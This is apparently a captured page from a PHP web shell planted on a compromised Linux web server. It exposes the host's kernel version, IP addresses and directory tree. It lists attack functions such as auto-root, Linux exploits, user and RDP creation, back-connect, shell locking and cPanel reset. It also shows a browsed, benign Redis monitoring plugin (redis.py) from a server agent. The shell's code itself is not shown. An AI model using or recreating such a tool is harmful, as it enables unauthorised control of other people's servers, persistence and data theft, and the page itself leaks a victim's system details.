Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.145.103.169
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
fm-agent /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
apache.py
19.06
KB
-rw-r--r--
apache_kafka.py
12.9
KB
-rw-r--r--
apache_zookeeper.py
6.26
KB
-rw-r--r--
bandwidth.py
21.3
KB
-rw-r--r--
cassandra.py
9.21
KB
-rw-r--r--
cert.py
2.78
KB
-rw-r--r--
couch.py
9.5
KB
-rw-r--r--
cpu_usage.py
33
KB
-rw-r--r--
dem_plugin.py
6.08
KB
-rw-r--r--
disk.py
16.48
KB
-rw-r--r--
docker.py
38.41
KB
-rw-r--r--
elasticsearch.py
2.83
KB
-rw-r--r--
entropy.py
900
B
-rw-r--r--
exim.py
1.01
KB
-rw-r--r--
file_presence.py
5
KB
-rw-r--r--
haproxy.py
13.37
KB
-rw-r--r--
io_stats.py
13.41
KB
-rw-r--r--
jboss.py
13.46
KB
-rw-r--r--
jmx.py
8.02
KB
-rw-r--r--
linux_logs.py
3.4
KB
-rw-r--r--
lm_sensors.py
2.51
KB
-rw-r--r--
logstash_forwarder.py
1.58
KB
-rw-r--r--
memcache.py
5.99
KB
-rw-r--r--
memory_usage.py
26.11
KB
-rw-r--r--
mongo.py
15.96
KB
-rw-r--r--
mysql.py
19.74
KB
-rw-r--r--
nagios.py
5.36
KB
-rw-r--r--
nginx.py
11.96
KB
-rw-r--r--
nodejs.py
6.29
KB
-rw-r--r--
ntp.py
1.98
KB
-rw-r--r--
opcache.py
2.26
KB
-rw-r--r--
oracle.py
15.15
KB
-rw-r--r--
package_upgrade.py
8.08
KB
-rw-r--r--
phpfpm.py
5.51
KB
-rw-r--r--
ping.py
2.45
KB
-rw-r--r--
postfix.py
1.98
KB
-rw-r--r--
postgresql.py
19.13
KB
-rw-r--r--
process.py
16.32
KB
-rw-r--r--
rabbitmq.py
19.33
KB
-rw-r--r--
redis.py
11.19
KB
-rw-r--r--
sendmail.py
2.39
KB
-rw-r--r--
sysctl.py
1.46
KB
-rw-r--r--
tcp.py
6.26
KB
-rw-r--r--
template.py
3.28
KB
-rw-r--r--
tomcat.py
6.79
KB
-rw-r--r--
tomcat_jmx.py
15.82
KB
-rw-r--r--
unbound_dns.py
4.54
KB
-rw-r--r--
uptime.py
3.46
KB
-rw-r--r--
users.py
1.09
KB
-rw-r--r--
uwsgi.py
4.57
KB
-rw-r--r--
varnish.py
4.79
KB
-rw-r--r--
weblogic.py
13.38
KB
-rw-r--r--
weblogic12c.py
18.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : redis.py
import agent_util import csv import sys from agent_util import float import re if sys.version[0] == '3': from io import StringIO else: from StringIO import StringIO def execute_query(config, query): cmd = agent_util.which("redis-cli") if config.get("hostname"): cmd += " -h %s" % config["hostname"] if config.get("password"): cmd += " -a '%s'" % config["password"] if config.get('port', None) is not None: cmd += " -p {}".format(config['port']) cmd += " %s" % query status, output = agent_util.execute_command(cmd, cache_timeout=agent_util.DEFAULT_CACHE_TIMEOUT) if status != 0: raise Exception(output) output = StringIO(output) parsed_output = list(csv.reader(output, delimiter="\t")) output_dict = {} for item in parsed_output: if len(item): a = next(csv.reader([item[0]], delimiter=':', quotechar="'")) if len(a) == 2: output_dict[a[0]] = a[1] return output_dict def execute_simple_query(config, query, db=None): "Make a call to Redis CLI that returns a single value" cmd = agent_util.which("redis-cli") if config.get("hostname"): cmd += " -h %s" % config["hostname"] if config.get("password"): cmd += " -a '%s'" % config["password"] if config.get('port', None) is not None: cmd += " -p {}".format(config['port']) if db: cmd += " -n '%s'" % db cmd += " --csv %s" % query status, output = agent_util.execute_command(cmd, cache_timeout=agent_util.DEFAULT_CACHE_TIMEOUT) if status != 0: raise Exception(output) try: value = float(output.strip()) except: value = None return value class RedisPlugin(agent_util.Plugin): textkey = "redis" label = "Redis" @classmethod def get_metadata(self, config): status = agent_util.SUPPORTED msg = None # check if redis is even installed installed = agent_util.which("redis-cli") and (config or agent_util.which("redis-server")) if not installed: status = agent_util.UNSUPPORTED if config.get('from_docker'): msg = "Please install the redis-cli on the docker host" self.log.info(msg) else: self.log.info("redis binary not found") msg = "redis binary not found" return {} if status == agent_util.SUPPORTED: try: output = execute_query(config, "ping") except: self.log.exception("error running redis query") status = agent_util.MISCONFIGURED msg = "Unable to connect to redis server, please check your Redis connection settings in the agent config file." # Get the databases with current key entries output = execute_query(config, 'info keyspace') options = ['Total'] options += output.keys() data = { # Server "server.uptime_in_seconds": { "label": "Uptime in seconds", "options": None, "status": status, "error_message": msg, }, # Memory "memory.used_memory": { "label": "Used memory", "options": None, "status": status, "error_message": msg, }, "memory.used_memory_rss": { "label": "Used memory rss", "options": None, "status": status, "error_message": msg, }, "memory.used_memory_peak": { "label": "Used memory peak", "options": None, "status": status, "error_message": msg, }, # Clients "clients.connected_clients": { "label": "Connected clients", "options": None, "status": status, "error_message": msg, }, "clients.blocked_clients": { "label": "Blocked clients", "options": None, "status": status, "error_message": msg, }, #Replication "replication.connected_slaves": { "label": "Connected slaves", "options": None, "status": status, "error_message": msg, }, "replication.role": { "label": "Replication: role (master=1, slave=0)", "options": None, "status": status, "error_message": msg, }, # Persistence "persistence.rdb_changes_since_last_save": { "label": "Changes since last save", "options": None, "status": status, "error_message": msg, }, "persistence.rdb_bgsave_in_progress": { "label": "Background save in progress", "options": None, "status": status, "error_message": msg, }, # Stats "stats.total_commands_processed": { "label": "Total commands processed", "options": None, "status": status, "error_message": msg, "unit": "processed/s" }, "stats.expired_keys": { "label": "Expired keys", "options": None, "status": status, "error_message": msg, }, "stats.evicted_keys": { "label": "Evicted keys", "options": None, "status": status, "error_message": msg, "unit": "evictions/s" }, "stats.keyspace_hits": { "label": "Keyspace hits", "options": None, "status": status, "error_message": msg, "unit": "hits/s" }, "stats.keyspace_misses": { "label": "Keyspace misses", "options": None, "status": status, "error_message": msg, "unit": "misses/s" }, "stats.pubsub_channels": { "label": "Pub/sub channels", "options": None, "status": status, "error_message": msg, }, "stats.pubsub_patterns": { "label": "Pub/sub patterns", "options": None, "status": status, "error_message": msg, }, "stats.rejected_connections": { "label": "Rejected connections", "options": None, "error_message": msg, "status": status }, "stats.hit_rate": { "label": "Hit rate", "options": None, "error_message": msg, "status": status }, "data.llen": { "label": "Length of list", "options": None, "status": status, "option_string": 1, "error_message": msg, }, "data.hlen": { "label": "Count of fields in a hash", "options": None, "status": status, "option_string": 1, "error_message": msg, }, "data.dbsize": { "label": "Total keys", "options": options, "status": status, "error_message": msg }, "data.dbsize_expiration": { "label": "Total keys with expiration", "options": options, "status": status, "error_message": msg } } return data @classmethod def get_metadata_docker(self, container, config): if 'hostname' not in config: try: ip = agent_util.get_container_ip(container) config['hostname'] = ip except Exception: self.log.exception('get_metadata_docker error') config['from_docker'] = True return self.get_metadata(config) def check(self, textkey, data, config): result = 0 if textkey in ('data.llen', 'data.hlen') and '::' in data: # Split the data to find a database. db, data = data.split('::') else: db = None if textkey == "data.llen": return execute_simple_query(config, "llen %s" % data, db=db) elif textkey == "data.hlen": return execute_simple_query(config, "hlen %s" % data, db=db) redis_info = execute_query(config, "INFO") if textkey in ('data.dbsize', 'data.dbsize_expiration'): if textkey == 'data.dbsize': exp = r'^keys=(\d+).*$' else: exp = r'^.*expires=(\d+).*$' if data == 'Total': output = execute_query(config, 'info keyspace') keys = output.keys() for key in keys: key_info = redis_info.get(key) if key_info: found = re.match(exp, key_info) result += int(found.groups()[0]) else: key_info = redis_info.get(data) if key_info: found = re.match(exp, key_info) if found: result = found.groups()[0] else: result = 0 elif textkey == "stats.hit_rate": keyspace_hits = int(redis_info['keyspace_hits']) keyspace_miss = int(redis_info['keyspace_misses']) if keyspace_hits + keyspace_miss != 0: result = keyspace_hits / (keyspace_hits + keyspace_miss) else: result = redis_info[textkey[textkey.rfind('.') + 1:]] if textkey == 'replication.role': if result == 'master': result = 1 else: result = 0 try: result = int(result) except Exception: result = 0 if textkey: self.log.debug("%s: %d" % (textkey, result)) if textkey in ('stats.evicted_keys', 'stats.keyspace_hits', 'stats.keyspace_misses', 'stats.total_commands_processed'): cache = self.get_cache_results(textkey, data) self.cache_result(textkey, data, result) if not cache: return None delta, previous = cache[0] if result < previous: return None result = (result - previous) / float(delta) return result def check_docker(self, container, textkey, data, config): if 'hostname' not in config: try: ip = agent_util.get_container_ip(container) config['hostname'] = ip except Exception: self.log.exception('check_docker error') config['from_docker'] = True return self.check(textkey, data, config)
Close